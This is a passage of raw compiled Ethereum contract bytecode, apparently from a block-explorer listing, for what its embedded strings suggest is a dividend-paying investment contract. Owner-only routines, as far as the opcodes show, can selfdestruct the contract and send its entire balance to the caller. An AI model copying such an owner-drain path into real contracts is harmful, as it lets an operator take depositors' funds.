14610232578063399ae724146102635780633d7ac9f81461028757806362d2c555146102ae578063653c3174146102c357806373ad468a146102d85780637c30aa2b146102ed578063900334b11461030257806390b0636f146103235780639396df321461033857806395a23c3a14610366578063984d4a931461037b5780639ec6e0541461039c578063b8fde2a4146103b1578063cb192f2c146103c6578063d0fc9cd9146103e7578063d50030ad146103ff578063d82fa3f114610414578063dbcbaca414610428578063eafecc7a14610469578063ecbdbb321461047e578063fc7c41af14610493575b610151346104a8565b156101635761015e6104b0565b6101a5565b6101a56101a06000368080601f01602080910402602001604051908101604052809392919081815260200183838082843750610700945050505050565b610707565b005b3480156101b357600080fd5b506101a5611079565b3480156101c857600080fd5b50604080516020600480358082013583810280860185019096528085526101a5953695939460249493850192918291850190849080828437509497506110d79650505050505050565b34801561021d57600080fd5b506101a5600160a060020a036004351661113b565b34801561023e57600080fd5b50610247611222565b60408051600160a060020a039092168252519081900360200190f35b34801561026f57600080fd5b506101a5600160a060020a0360043516602435611231565b34801561029357600080fd5b5061029c611396565b60408051918252519081900360200190f35b3480156102ba57600080fd5b506102476113a1565b3480156102cf57600080fd5b5061029c6113b0565b3480156102e457600080fd5b5061029c611440565b3480156102f957600080fd5b506101a561144f565b34801561030e57600080fd5b5061029c600160a060020a03600435166114cc565b34801561032f57600080fd5b5061029c6114dd565b34801561034457600080fd5b5061034d6114ee565b6040805192835260208301919091528051918290030190f35b34801561037257600080fd5b5061034d6114f8565b34801561038757600080fd5b506101a5600160a060020a0360043516611502565b3480156103a857600080fd5b5061029c611593565b3480156103bd57600080fd5b5061034d611599565b3480156103d257600080fd5b506101a5600160a060020a03600435166115be565b3480156103f357600080fd5b506101a560043561164f565b34801561040b57600080fd5b506101a56104b0565b6101a5600160a060020a0360043516610707565b34801561043457600080fd5b50610449600160a060020a03600435166116d0565b604080519384526020840192909252151582820152519081900360600190f35b34801561047557600080fd5b5061029c611796565b34801561048a57600080fd5b5061029c61179c565b34801561049f57600080fd5b506101a56117a1565b80155b919050565b60006104bb3361182e565b1515610511576040805160e560020a62461bcd02815260206004820152601860248201527f6f6e6c792065787465726e616c6c79206163636f756e74730000000000000000604482015290519081900360640190fd5b620151806105326105213361183a565b60200151429063ffffffff6118fe16565b1161053c57600080fd5b6105453361191c565b9050610550816119ce565b15156105a6576040805160e560020a62461bcd02815260206004820152601c60248201527f63616e6e6f7420746f20706179207a65726f206469766964656e647300000000604482015290519081900360640190fd5b600b54604080517f440135850000000000000000000000000000000000000000000000000000000081523360048201524260248201529051600160a060020a03909216916344013585916044808201926020929091908290030181600087803b15801561061257600080fd5b505af1158015610626573d6000803e3d6000fd5b505050506040513d602081101561063c57600080fd5b5051151561064657fe5b3031811061065a576106566119d3565b5030315b604051339082156108fc029083906000818181858888f19350505050158015610687573d6000803e3d6000fd5b506040805142815260208101839052815133927f6710e0cad56444677ac916513b384a4acc6501cfb5219f59657ad4ddffef9d60928290030190a2604080514281523031602082015281517f32367fddaa1baa1c6a0fc5c3e8284df724bacc7b50e847c32c9f9765f9f96137929181900390910190a150565b6014015190565b6000808080808080808061071a3361182e565b1515610770576040805160e560020a62461bcd02815260206004820152601860248201527f6f6e6c792065787465726e616c6c79206163636f756e74730000000000000000604482015290519081900360640190fd5b349850889750662386f26fc100008810156107fb576040805160e560020a62461bcd02815260206004820152602260248201527f696e766573746d656e74206d757374206265203e3d206d696e496e7665736d6560448201527f6e74000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6a1b8b8c9e000e82a48000003031111561085f576040805160e560020a62461bcd02815260206004820152601e60248201527f74686520636f6e7472616374206574682062616c616e6365206c696d69740000604482015290519081900360640190fd5b6108696001611ac3565b156108f1576108786001611aee565b965061088387611b68565b61088d8988611bbf565b98506108a060018a63ffffffff611bd716565b15156108a857fe5b6108b26001611c54565b60408051428152602081018c9052815133927f21cd51cc98547f9914bc0b314a40e645408acad21d1289eecb4dfb534fda7cfc928290030190a3610929565b6108fb6005611c7e565b156109295761091160053363ffffffff611c8716565b955061091c86611b68565b6109268987611bbf565b98505b888811156109b1576040518989039550339086156108fc029087906000818181858888f19350505050158015610963573d6000803e3d6000fd5b50604080514281523460208201528082018b90526060810187905290518a995033917faac472d912a7451062b64c942775db41d65cce271603099e1c4760e072050951919081900360800190a25b600c54600160a060020a03166108fc6109d160288b63ffffffff611e1c16565b6040518115909202916000818181858888f193505050501580156109f9573d6000803e3d6000fd5b50600d54600160a060020a03166108fc610a1a60268b63ffffffff611e1c16565b6040518115909202916000818181858888f19350505050158015610a42573d6000803e3d6000fd5b50600b54604080517fcee2a9cf0000000000000000000000000000000000000000000000000000000081523360048201529051600160a060020a039092169163cee2a9cf916024808201926020929091908290030181600087803b158015610aa957600080fd5b505af1158015610abd573d6000803e3d6000fd5b505050506040513d6020811015610ad357600080fd5b50519350610ae9600160a060020a038b16611e47565b8015610af3575083155b8015610b0f5750336000908152600a602052604090205460ff16155b8015610b245750600160a060020a038a163314155b8015610bc05750600b54604080517fcee2a9cf000000000000000000000000000000000000000000000000000000008152600160a060020a038d811660048301529151919092169163cee2a9cf9160248083019260209291908290030181600087803b158015610b9357600080fd5b505af1158015610ba7573d6000803e3d6000fd5b505050506040513d6020811015610bbd57600080fd5b50515b15610d5c57336000908152600a6020908152604091829020805460ff191660011790558151808301909252602254825260235490820152610c07908a63ffffffff611e5516565b9250678ac7230489e80000891115610c43576040805180820190915260245481526025546020820152610c40908a63ffffffff611e5516565b92505b6040805180820190915260208054825260215490820152610c6a908a63ffffffff611e5516565b600b54604080517f20987e64000000000000000000000000000000000000000000000000000000008152600160a060020a038e811660048301526024820188905291519395509116916320987e64916044808201926020929091908290030181600087803b158015610cdb57600080fd5b505af1158015610cef573d6000803e3d6000fd5b505050506040513d6020811015610d0557600080fd5b50511515610d0f57fe5b604080514281526020810184905281519a84019a600160a060020a038d169233927fc04fb14bddd876003a335c37b1fe6524ac1dbf74eb64dd08cd085fba4b97d592929081900390910190a35b610d653361191c565b9050838015610d785750610d78816119ce565b15610dbc57604080514281526020810183905281519a83019a33927f149822e3a65d38c9b6f40e835864c61ef5ca0866219afc2db638e3f85ae78866928290030190a25b8315610f0857600b54604080517f20987e64000000000000000000000000000000000000000000000000000000008152336004820152602481018c90529051600160a060020a03909216916320987e64916044808201926020929091908290030181600087803b158015610e2f57600080fd5b505af1158015610e43573d6000803e3d6000fd5b505050506040513d6020811015610e5957600080fd5b50511515610e6357fe5b600b54604080517f440135850000000000000000000000000000000000000000000000000000000081523360048201524260248201529051600160a060020a03909216916344013585916044808201926020929091908290030181600087803b158015610ecf57600080fd5b505af1158015610ee3573d6000803e3d6000fd5b505050506040513d6020811015610ef957600080fd5b50511515610f0357fe5b610fe6565b600b54604080517f41b2121c000000000000000000000000000000000000000000000000000000008152336004820152602481018c90524260448201529051600160a060020a03909216916341b2121c916064808201926020929091908290030181600087803b158015610f7b57600080fd5b505af1158015610f8f573d6000803e3d6000fd5b505050506040513d6020811015610fa557600080fd5b50511515610faf57fe5b60408051428152905133917fc8616cf56c542aa2540734215ee474180fc3b9cc7c2fad288000504632cacf18919081900360200190a25b600e8054600101905560408051428152602081018b90528082018a9052905133917fd5a986028ae9e04f72859f7d3c1d8ae8b649c26be5b99d4c2d98ca4a19a0502e919081900360600190a2604080514281523031602082015281517f32367fddaa1baa1c6a0fc5c3e8284df724bacc7b50e847c32c9f9765f9f96137929181900390910190a150505050505050505050565b600054600160a060020a031633146110c9576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206125bb833981519152604482015290519081900360640190fd5b600054600160a060020a0316ff5b600054600160a060020a03163314611127576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206125bb833981519152604482015290519081900360640190fd5b61113860058263ffffffff611e7816565b50565b600054600160a060020a0316331461118b576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206125bb833981519152604482015290519081900360640190fd5b600b54604080517fd597d06f000000000000000000000000000000000000000000000000000000008152600160a060020a0384811660048301529151919092169163d597d06f9160248083019260209291908290030181600087803b1580156111f357600080fd5b505af1158015611207573d6000803e3d6000fd5b505050506040513d602081101561121d57600080fd5b505050565b600c54600160a060020a031681565b600054600160a060020a03163314611281576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206125bb833981519152604482015290519081900360640190fd5b600180820190819055681b1ae4d6e2ef50000060028190556003805460ff1916601517908190556040805142815260208101949094528381019290925260ff166060830152517f16171a4e996b33ebb6320397242a4168f60c16e87fbd8b58f1744d68c4179caf9181900360800190a160058054600160a060020a0380851673ffffffffffffffffffffffffffffffffffffffff199283161792839055600b546006805490931690821617918290556802b5e3af16b1880000600781905560088590556040805142815294831660208601529290911683830152606083015260808201839052517f7e13d111fea1199cb6fb21cb38766240cfad970317820e8e5713da7a708285309181900360a00190a15050565b662386f26fc1000081565b600d54600160a060020a031681565b600b54604080517f949d225d0000000000000000000000000000000000000000000000000000000081529051600092600160a060020a03169163949d225d91600480830192602092919082900301818787803b15801561140f57600080fd5b505af1158015611423573d6000803e3d6000fd5b505050506040513d602081101561143957600080fd5b5051905090565b6a1b8b8c9e000e82a480000081565b600054600160a060020a0316331461149f576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206125bb833981519152604482015290519081900360640190fd5b6040513390303180156108fc02916000818181858888f19350505050158015611138573d6000803e3d6000fd5b60006114d78261191c565b92915050565b60006114e96001611aee565b905090565b6028546029549091565b6026546027549091565b600054600160a060020a03163314611552576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206125bb833981519152604482015290519081900360640190fd5b61156481600160a060020a0316611edc565b600d805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600e5481565b6000806115a461204d565b6115ac611f3c565b80516020909101519094909350915050565b600054600160a060020a0316331461160e576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206125bb833981519152604482015290519081900360640190fd5b61162081600160a060020a0316611edc565b600c805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461169f576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206125bb833981519152604482015290519081900360640190fd5b604051339082156108fc029083906000818181858888f193505050501580156116cc573d6000803e3d6000fd5b5050565b600b54604080517fdbcbaca4000000000000000000000000000000000000000000000000000000008152600160a060020a038481166004830152825160009485948594939091169263dbcbaca4926024808301939282900301818787803b15801561173a57600080fd5b505af115801561174e573d6000803e3d6000fd5b505050506040513d604081101561176457600080fd5b508051602091820151600160a060020a039096166000908152600a909252604090912054909560ff9091169350915050565b600f5481565b303190565b600054600160a060020a031633146117f1576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206125bb833981519152604482015290519081900360640190fd5b6117f9612005565b6040805142815290517f5189687a7ec9d4aebe2f548f952ffbbad19e4cd545c4a05b5e2369cd272dd5519181900360200190a1565b803b8015905b50919050565b61184261204d565b600b54604080517fdbcbaca4000000000000000000000000000000000000000000000000000000008152600160a060020a0385811660048301528251600094859492169263dbcbaca492602480830193919282900301818787803b1580156118a957600080fd5b505af11580156118bd573d6000803e3d6000fd5b505050506040513d60408110156118d357600080fd5b50805160209182015160408051808201909152828152928301819052919450925090505b5050919050565b6000808383111561190e57600080fd5b5050808203805b5092915050565b600061192661204d565b61192e61204d565b6119378461183a565b915061194682600001516104a8565b8061196857506102586119668360200151426118fe90919063ffffffff16565b105b1561197657600092506118f7565b61197e611f3c565b825190915060909061199790839063ffffffff611e5516565b6102586119b18560200151426118fe90919063ffffffff16565b8115156119ba57fe5b04028115156119c557fe5b04949350505050565b151590565b6119db612064565b604051809103906000f0801580156119f7573d6000803e3d6000fd5b50600b805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790556000600e5542600f819055611a3c90600190612024565b6001546002546003546040805142815260208101949094528381019290925260ff166060830152517f16171a4e996b33ebb6320397242a4168f60c16e87fbd8b58f1744d68c4179caf9181900360800190a16040805142815290517fc66870ef5f6257a76295d443e9221488043ec691f830f6c6128755c3518e3c759181900360200190a1565b600080611acf83611c54565b90508015801590611ae75750600283015460ff168111155b9392505050565b600080611afa83611c54565b9050801580611b0f5750600283015460ff1681115b15611b1d5760009150611834565b600183015460ff8216600090815260038501602052604090205410611b455760009150611834565b60ff81166000908152600384016020526040902054600184015403915050919050565b801515611138576040805160e560020a62461bcd02815260206004820152601660248201527f72657175697265206e6f74207a65726f2076616c756500000000000000000000604482015290519081900360640190fd5b600081831115611bd05750806114d7565b5090919050565b600080611be384611c54565b9050801580611bf85750600284015460ff1681115b15611c065760009150611915565b600184015460ff8216600090815260038601602052604090205484011115611c315760009150611915565b60ff16600090815260039390930160205250604090912080549091019055600190565b60004282600001541115611c6a575060006104ab565b815462015180904203046001019050919050565b60030154421090565b600160a060020a03811660009081526004830160205260408120548190819060ff161515611cb85760009250611e14565b8454604080517f993d3489000000000000000000000000000000000000000000000000000000008152600160a060020a038781166004830152825193169263993d3489926024808401939192918290030181600087803b158015611d1b57600080fd5b505af1158015611d2f573d6000803e3d6000fd5b505050506040513d6040811015611d4557600080fd5b50519150811515611d595760009250611e14565b611d67828660020154611bbf565b6001860154604080517fdbcbaca4000000000000000000000000000000000000000000000000000000008152600160a060020a03888116600483015282519496509092169263dbcbaca49260248082019392918290030181600087803b158015611dd057600080fd5b505af1158015611de4573d6000803e3d6000fd5b505050506040513d6040811015611dfa57600080fd5b50519050818110611e0e5760009250611e14565b80820392505b505092915050565b6000811515611e2d575060006114d7565b600183015483548302811515611e3f57fe5b049392505050565b600160a060020a0316151590565b6000811515611e66575060006114d7565b602083015183518302811515611e3f57fe5b60005b81518161ffff16101561121d576001836004016000848461ffff16815181101515611ea257fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff1916911515919091179055600101611e7b565b600160a060020a0381161515611138576040805160e560020a62461bcd02815260206004820152601860248201527f72657175697265206e6f74207a65726f20616464726573730000000000000000604482015290519081900360640190fd5b611f4461204d565b3031681b1ae4d6e2ef500000811015611f6857611f616018612028565b9150612001565b80681b1ae4d6e2ef50000011158015611f8a5750685150ae84a8cdf000008111155b15611f9957611f61601a612028565b80685150ae84a8cdf0000011158015611fbc575069021e19e0c9bab24000008111155b15611fcb57611f61601c612028565b8069021e19e0c9bab240000011158015611fef575069043c33c19375648000008111155b1561200157611ffe601e612028565b91505b5090565b6000805473ffffffffffffffffffffffffffffffffffffffff19169055565b9055565b61203061204d565b506040805180820190915281548152600190910154602082015290565b604080518082019091526000808252602082015290565b60405161054680612075833901905600608060405260008054600160a060020a03191633179055610521806100256000396000f30060806040526004361061008d5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663044e8fc6811461009257806320987e64146100a957806341b2121c146100e15780634401358514610108578063949d225d1461012c578063cee2a9cf14610153578063d597d06f14610174578063dbcbaca414610195575b600080fd5b34801561009e57600080fd5b506100a76101cf565b005b3480156100b557600080fd5b506100cd600160a060020a036004351660243561022d565b604080519115158252519081900360200190f35b3480156100ed57600080fd5b506100cd600160a060020a03600435166024356044356102cd565b34801561011457600080fd5b506100cd600160a060020a0360043516602435610370565b34801561013857600080fd5b5061014161040f565b60408051918252519081900360200190f35b34801561015f57600080fd5b506100cd600160a060020a0360043516610415565b34801561018057600080fd5b506100cd600160a060020a0360043516610435565b3480156101a157600080fd5b506101b6600160a060020a03600435166104b2565b6040805192835260208301919091528051918290030190f35b600054600160a060020a0316331461021f576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206104d6833981519152604482015290519081900360640190fd5b600054600160a060020a0316ff5b60008054600160a060020a0316331461027e576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206104d6833981519152604482015290519081900360640190fd5b600160a060020a03831660009081526002602052604090205415156102a5575060006102c7565b50600160a060020a038216600090815260026020526040902080548201905560015b92915050565b600080548190600160a060020a03163314610320576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206104d6833981519152604482015290519081900360640190fd5b50600160a060020a03841660009081526002602052604090208054151580610346575083155b156103545760009150610368565b838155600180820184905580548101815591505b509392505050565b60008054600160a060020a031633146103c1576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206104d6833981519152604482015290519081900360640190fd5b600160a060020a03831660009081526002602052604090205415156103e8575060006102c7565b50600160a060020a0382166000908152600260205260409020600190810182905592915050565b60015481565b600160a060020a038116600090815260026020526040812054115b919050565b60008054600160a060020a03163314610486576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206104d6833981519152604482015290519081900360640190fd5b61048f82610415565b1561043057600160a060020a038216600090815260026020526040812055919050565b600160a060020a031660009081526002602052604090208054600190910154909156006163636573732064656e69656400000000000000000000000000000000000000a165627a7a72305820493346a0588a00c7e5a36429f089425bf4888761f00e107f87d4781198c9cffb00296163636573732064656e69656400000000000000000000000000000000000000a165627a7a72305820e0c54398814355e0cb5128043727212bf63459d0725caab8f432cdb5ebb6cf240029608060405260008054600160a060020a03191633179055610521806100256000396000f30060806040526004361061008d5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663044e8fc6811461009257806320987e64146100a957806341b2121c146100e15780634401358514610108578063949d225d1461012c578063cee2a9cf14610153578063d597d06f14610174578063dbcbaca414610195575b600080fd5b34801561009e57600080fd5b506100a76101cf565b005b3480156100b557600080fd5b506100cd600160a060020a036004351660243561022d565b604080519115158252519081900360200190f35b3480156100ed57600080fd5b506100cd600160a060020a03600435166024356044356102cd565b34801561011457600080fd5b506100cd600160a060020a0360043516602435610370565b34801561013857600080fd5b5061014161040f565b60408051918252519081900360200190f35b34801561015f57600080fd5b506100cd600160a060020a0360043516610415565b34801561018057600080fd5b506100cd600160a060020a0360043516610435565b3480156101a157600080fd5b506101b6600160a060020a03600435166104b2565b6040805192835260208301919091528051918290030190f35b600054600160a060020a0316331461021f576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206104d6833981519152604482015290519081900360640190fd5b600054600160a060020a0316ff5b60008054600160a060020a0316331461027e576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206104d6833981519152604482015290519081900360640190fd5b600160a060020a03831660009081526002602052604090205415156102a5575060006102c7565b50600160a060020a038216600090815260026020526040902080548201905560015b92915050565b600080548190600160a060020a03163314610320576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206104d6833981519152604482015290519081900360640190fd5b50600160a060020a03841660009081526002602052604090208054151580610346575083155b156103545760009150610368565b838155600180820184905580548101815591505b509392505050565b60008054600160a060020a031633146103c1576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206104d6833981519152604482015290519081900360640190fd5b600160a060020a03831660009081526002602052604090205415156103e8575060006102c7565b50600160a060020a0382166000908152600260205260409020600190810182905592915050565b60015481565b600160a060020a038116600090815260026020526040812054115b919050565b60008054600160a060020a03163314610486576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206104d6833981519152604482015290519081900360640190fd5b61048f82610415565b1561043057600160a060020a038216600090815260026020526040812055919050565b600160a060020a031660009081526002602052604090208054600190910154909156006163636573732064656e69656400000000000000000000000000000000000000a165627a7a72305820493346a0588a00c7e5a36429f089425bf4888761f00e107f87d4781198c9cffb0029

Deployed Bytecode

0x6080604052600436106101485763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663044e8fc681146101a757806306127a11146101bc57806315aa6833146102115780631686531a14610232578063399ae724146102635780633d7ac9f81461028757806362d2c555146102ae578063653c3174146102c357806373ad468a146102d85780637c30aa2b146102ed578063900334b11461030257806390b0636f146103235780639396df321461033857806395a23c3a14610366578063984d4a931461037b5780639ec6e0541461039c578063b8fde2a4146103b1578063cb192f2c146103c6578063d0fc9cd9146103e7578063d50030ad146103ff578063d82fa3f114610414578063dbcbaca414610428578063eafecc7a14610469578063ecbdbb321461047e578063fc7c41af14610493575b610151346104a8565b156101635761015e6104b0565b6101a5565b6101a56101a06000368080601f01602080910402602001604051908101604052809392919081815260200183838082843750610700945050505050565b610707565b005b3480156101b357600080fd5b506101a5611079565b3480156101c857600080fd5b50604080516020600480358082013583810280860185019096528085526101a5953695939460249493850192918291850190849080828437509497506110d79650505050505050565b34801561021d57600080fd5b506101a5600160a060020a036004351661113b565b34801561023e57600080fd5b50610247611222565b60408051600160a060020a039092168252519081900360200190f35b34801561026f57600080fd5b506101a5600160a060020a0360043516602435611231565b34801561029357600080fd5b5061029c611396565b60408051918252519081900360200190f35b3480156102ba57600080fd5b506102476113a1565b3480156102cf57600080fd5b5061029c6113b0565b3480156102e457600080fd5b5061029c611440565b3480156102f957600080fd5b506101a561144f565b34801561030e57600080fd5b5061029c600160a060020a03600435166114cc565b34801561032f57600080fd5b5061029c6114dd565b34801561034457600080fd5b5061034d6114ee565b6040805192835260208301919091528051918290030190f35b34801561037257600080fd5b5061034d6114f8565b34801561038757600080fd5b506101a5600160a060020a0360043516611502565b3480156103a857600080fd5b5061029c611593565b3480156103bd57600080fd5b5061034d611599565b3480156103d257600080fd5b506101a5600160a060020a03600435166115be565b3480156103f357600080fd5b506101a560043561164f565b34801561040b57600080fd5b506101a56104b0565b6101a5600160a060020a0360043516610707565b34801561043457600080fd5b50610449600160a060020a03600435166116d0565b604080519384526020840192909252151582820152519081900360600190f35b34801561047557600080fd5b5061029c611796565b34801561048a57600080fd5b5061029c61179c565b34801561049f57600080fd5b506101a56117a1565b80155b919050565b60006104bb3361182e565b1515610511576040805160e560020a62461bcd02815260206004820152601860248201527f6f6e6c792065787465726e616c6c79206163636f756e74730000000000000000604482015290519081900360640190fd5b620151806105326105213361183a565b60200151429063ffffffff6118fe16565b1161053c57600080fd5b6105453361191c565b9050610550816119ce565b15156105a6576040805160e560020a62461bcd02815260206004820152601c60248201527f63616e6e6f7420746f20706179207a65726f206469766964656e647300000000604482015290519081900360640190fd5b600b54604080517f440135850000000000000000000000000000000000000000000000000000000081523360048201524260248201529051600160a060020a03909216916344013585916044808201926020929091908290030181600087803b15801561061257600080fd5b505af1158015610626573d6000803e3d6000fd5b505050506040513d602081101561063c57600080fd5b5051151561064657fe5b3031811061065a576106566119d3565b5030315b604051339082156108fc029083906000818181858888f19350505050158015610687573d6000803e3d6000fd5b506040805142815260208101839052815133927f6710e0cad56444677ac916513b384a4acc6501cfb5219f59657ad4ddffef9d60928290030190a2604080514281523031602082015281517f32367fddaa1baa1c6a0fc5c3e8284df724bacc7b50e847c32c9f9765f9f96137929181900390910190a150565b6014015190565b6000808080808080808061071a3361182e565b1515610770576040805160e560020a62461bcd02815260206004820152601860248201527f6f6e6c792065787465726e616c6c79206163636f756e74730000000000000000604482015290519081900360640190fd5b349850889750662386f26fc100008810156107fb576040805160e560020a62461bcd02815260206004820152602260248201527f696e766573746d656e74206d757374206265203e3d206d696e496e7665736d6560448201527f6e74000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6a1b8b8c9e000e82a48000003031111561085f576040805160e560020a62461bcd02815260206004820152601e60248201527f74686520636f6e7472616374206574682062616c616e6365206c696d69740000604482015290519081900360640190fd5b6108696001611ac3565b156108f1576108786001611aee565b965061088387611b68565b61088d8988611bbf565b98506108a060018a63ffffffff611bd716565b15156108a857fe5b6108b26001611c54565b60408051428152602081018c9052815133927f21cd51cc98547f9914bc0b314a40e645408acad21d1289eecb4dfb534fda7cfc928290030190a3610929565b6108fb6005611c7e565b156109295761091160053363ffffffff611c8716565b955061091c86611b68565b6109268987611bbf565b98505b888811156109b1576040518989039550339086156108fc029087906000818181858888f19350505050158015610963573d6000803e3d6000fd5b50604080514281523460208201528082018b90526060810187905290518a995033917faac472d912a7451062b64c942775db41d65cce271603099e1c4760e072050951919081900360800190a25b600c54600160a060020a03166108fc6109d160288b63ffffffff611e1c16565b6040518115909202916000818181858888f193505050501580156109f9573d6000803e3d6000fd5b50600d54600160a060020a03166108fc610a1a60268b63ffffffff611e1c16565b6040518115909202916000818181858888f19350505050158015610a42573d6000803e3d6000fd5b50600b54604080517fcee2a9cf0000000000000000000000000000000000000000000000000000000081523360048201529051600160a060020a039092169163cee2a9cf916024808201926020929091908290030181600087803b158015610aa957600080fd5b505af1158015610abd573d6000803e3d6000fd5b505050506040513d6020811015610ad357600080fd5b50519350610ae9600160a060020a038b16611e47565b8015610af3575083155b8015610b0f5750336000908152600a602052604090205460ff16155b8015610b245750600160a060020a038a163314155b8015610bc05750600b54604080517fcee2a9cf000000000000000000000000000000000000000000000000000000008152600160a060020a038d811660048301529151919092169163cee2a9cf9160248083019260209291908290030181600087803b158015610b9357600080fd5b505af1158015610ba7573d6000803e3d6000fd5b505050506040513d6020811015610bbd57600080fd5b50515b15610d5c57336000908152600a6020908152604091829020805460ff191660011790558151808301909252602254825260235490820152610c07908a63ffffffff611e5516565b9250678ac7230489e80000891115610c43576040805180820190915260245481526025546020820152610c40908a63ffffffff611e5516565b92505b6040805180820190915260208054825260215490820152610c6a908a63ffffffff611e5516565b600b54604080517f20987e64000000000000000000000000000000000000000000000000000000008152600160a060020a038e811660048301526024820188905291519395509116916320987e64916044808201926020929091908290030181600087803b158015610cdb57600080fd5b505af1158015610cef573d6000803e3d6000fd5b505050506040513d6020811015610d0557600080fd5b50511515610d0f57fe5b604080514281526020810184905281519a84019a600160a060020a038d169233927fc04fb14bddd876003a335c37b1fe6524ac1dbf74eb64dd08cd085fba4b97d592929081900390910190a35b610d653361191c565b9050838015610d785750610d78816119ce565b15610dbc57604080514281526020810183905281519a83019a33927f149822e3a65d38c9b6f40e835864c61ef5ca0866219afc2db638e3f85ae78866928290030190a25b8315610f0857600b54604080517f20987e64000000000000000000000000000000000000000000000000000000008152336004820152602481018c90529051600160a060020a03909216916320987e64916044808201926020929091908290030181600087803b158015610e2f57600080fd5b505af1158015610e43573d6000803e3d6000fd5b505050506040513d6020811015610e5957600080fd5b50511515610e6357fe5b600b54604080517f440135850000000000000000000000000000000000000000000000000000000081523360048201524260248201529051600160a060020a03909216916344013585916044808201926020929091908290030181600087803b158015610ecf57600080fd5b505af1158015610ee3573d6000803e3d6000fd5b505050506040513d6020811015610ef957600080fd5b50511515610f0357fe5b610fe6565b600b54604080517f41b2121c000000000000000000000000000000000000000000000000000000008152336004820152602481018c90524260448201529051600160a060020a03909216916341b2121c916064808201926020929091908290030181600087803b158015610f7b57600080fd5b505af1158015610f8f573d6000803e3d6000fd5b505050506040513d6020811015610fa557600080fd5b50511515610faf57fe5b60408051428152905133917fc8616cf56c542aa2540734215ee474180fc3b9cc7c2fad288000504632cacf18919081900360200190a25b600e8054600101905560408051428152602081018b90528082018a9052905133917fd5a986028ae9e04f72859f7d3c1d8ae8b649c26be5b99d4c2d98ca4a19a0502e919081900360600190a2604080514281523031602082015281517f32367fddaa1baa1c6a0fc5c3e8284df724bacc7b50e847c32c9f9765f9f96137929181900390910190a150505050505050505050565b600054600160a060020a031633146110c9576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206125bb833981519152604482015290519081900360640190fd5b600054600160a060020a0316ff5b600054600160a060020a03163314611127576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206125bb833981519152604482015290519081900360640190fd5b61113860058263ffffffff611e7816565b50565b600054600160a060020a0316331461118b576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206125bb833981519152604482015290519081900360640190fd5b600b54604080517fd597d06f000000000000000000000000000000000000000000000000000000008152600160a060020a0384811660048301529151919092169163d597d06f9160248083019260209291908290030181600087803b1580156111f357600080fd5b505af1158015611207573d6000803e3d6000fd5b505050506040513d602081101561121d57600080fd5b505050565b600c54600160a060020a031681565b600054600160a060020a03163314611281576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206125bb833981519152604482015290519081900360640190fd5b600180820190819055681b1ae4d6e2ef50000060028190556003805460ff1916601517908190556040805142815260208101949094528381019290925260ff166060830152517f16171a4e996b33ebb6320397242a4168f60c16e87fbd8b58f1744d68c4179caf9181900360800190a160058054600160a060020a0380851673ffffffffffffffffffffffffffffffffffffffff199283161792839055600b546006805490931690821617918290556802b5e3af16b1880000600781905560088590556040805142815294831660208601529290911683830152606083015260808201839052517f7e13d111fea1199cb6fb21cb38766240cfad970317820e8e5713da7a708285309181900360a00190a15050565b662386f26fc1000081565b600d54600160a060020a031681565b600b54604080517f949d225d0000000000000000000000000000000000000000000000000000000081529051600092600160a060020a03169163949d225d91600480830192602092919082900301818787803b15801561140f57600080fd5b505af1158015611423573d6000803e3d6000fd5b505050506040513d602081101561143957600080fd5b5051905090565b6a1b8b8c9e000e82a480000081565b600054600160a060020a0316331461149f576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206125bb833981519152604482015290519081900360640190fd5b6040513390303180156108fc02916000818181858888f19350505050158015611138573d6000803e3d6000fd5b60006114d78261191c565b92915050565b60006114e96001611aee565b905090565b6028546029549091565b6026546027549091565b600054600160a060020a03163314611552576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206125bb833981519152604482015290519081900360640190fd5b61156481600160a060020a0316611edc565b600d805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600e5481565b6000806115a461204d565b6115ac611f3c565b80516020909101519094909350915050565b600054600160a060020a0316331461160e576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206125bb833981519152604482015290519081900360640190fd5b61162081600160a060020a0316611edc565b600c805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461169f576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206125bb833981519152604482015290519081900360640190fd5b604051339082156108fc029083906000818181858888f193505050501580156116cc573d6000803e3d6000fd5b5050565b600b54604080517fdbcbaca4000000000000000000000000000000000000000000000000000000008152600160a060020a038481166004830152825160009485948594939091169263dbcbaca4926024808301939282900301818787803b15801561173a57600080fd5b505af115801561174e573d6000803e3d6000fd5b505050506040513d604081101561176457600080fd5b508051602091820151600160a060020a039096166000908152600a909252604090912054909560ff9091169350915050565b600f5481565b303190565b600054600160a060020a031633146117f1576040805160e560020a62461bcd02815260206004